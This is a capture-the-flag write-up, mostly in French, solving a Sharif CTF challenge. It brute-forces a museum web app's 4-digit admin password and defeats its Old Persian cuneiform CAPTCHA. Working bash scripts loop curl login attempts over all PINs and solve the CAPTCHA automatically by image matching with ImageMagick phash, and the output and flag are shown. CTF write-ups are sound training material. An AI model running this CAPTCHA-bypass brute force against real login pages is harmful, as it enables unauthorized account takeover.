Description
Old Persian cuneiform is a semi-alphabetic cuneiform script that was the primary script for the old persian language. You could get more information on following links,
1- http://www.ancientscripts.com/oldpersian.html
2- https://en.wikipedia.org/wiki/Old_Persian_cuneiform.A web-based collections management for a museum has some extremely valuable information if one has admin user access.We found that the « admin » user have a 4-digit password. But they use a captcha made of 10 old persian characters. One has to use the correspondence between symbols and strings to pass theye captcha verification (use « trans.png »).
Log in as « admin » to find the flag.
the flag is in the fomat: [Your flag is: flagflagflag…] (without braces)
Resolution
Nous somme face à un challenge vraiment très simple, un bruteforce sur quatre chiffres 🙂
Heureusement qu’ils ont pensés à rajouter un captcha.
Commencons par le code du bruteforce, après quelques tests, les messages d’erreurs sont « Login failed » pour une erreur dans le mot de passe, et « Invalid captcha » pour une erreur dans le captcha.
Nous codons une petite boucle en bash, qui va tester les 10000 mots de passes possibles.
La valeur du captcha est quant à elle récupérée par un second script.
#!/bin/bash for passwd in {0000..9999} do caperror=1 while [ $caperror == 1 ] do rm -f *.jpg captcha=$(./captcha.sh) res=$(curl --retry 1000000 --connect-timeout 1 -s -L -b PHPSESSID=515386866780b5f132fc96c02b3ddb82 --data "username=admin&password=$passwd&captcha=$captcha" "http://ctf.sharif.edu:32455/chal/oldpersian/04b2dfb564086721/login/submit/") echo $res | grep -q "Invalid captcha" || caperror=0 done echo $res | grep -q "Login failed" || echo $passwd : $res echo test : $passwd done
Passons maintenant au script de récupération du captcha, pour cela nous avons mis dans le répertoire conv une image pour chaque lettre.
Ensuite nous utilisons le programme compare de la suite ImageMagick, avec le metric phash.
Cela retourne un nombre exprimant la différence.
Ex1 : Images différentes.
compare -metric phash 1-0.jpg conv/A.jpg NULL: 2>&1 6.76925
Ex2 : Images presque identiques.
compare -metric phash 1-0.jpg conv/F.jpg NULL: 2>&1 0.0121092
Et voici le script du captcha :
#!/bin/bash curl --retry 1000000 --connect-timeout 1 -b PHPSESSID=515386866780b5f132fc96c02b3ddb82 -s "http://ctf.sharif.edu:32455/chal/oldpersian/04b2dfb564086721/captcha/" > 1.jpg mogrify -crop 80x80 +repage 1.jpg ls *.jpg | while read char do ls conv/ | while read char_conv; do compare -metric phash $char conv/$char_conv NULL: 2>&1 | grep -qE "^0.[0-9]*" && { echo -n $char_conv | sed 's/.jpg//'; break; }; done done
Il ne nous reste plus qu’a lancer le script de bruteforce, et … passer à autre chose.
test : 0000 test : 0001 ... test : 7473 test : 7474 test : 7475 7476 : Your flag is: 1a5bfab77002fc17e996ef292199885b
Le flag de validation est : 1a5bfab77002fc17e996ef292199885b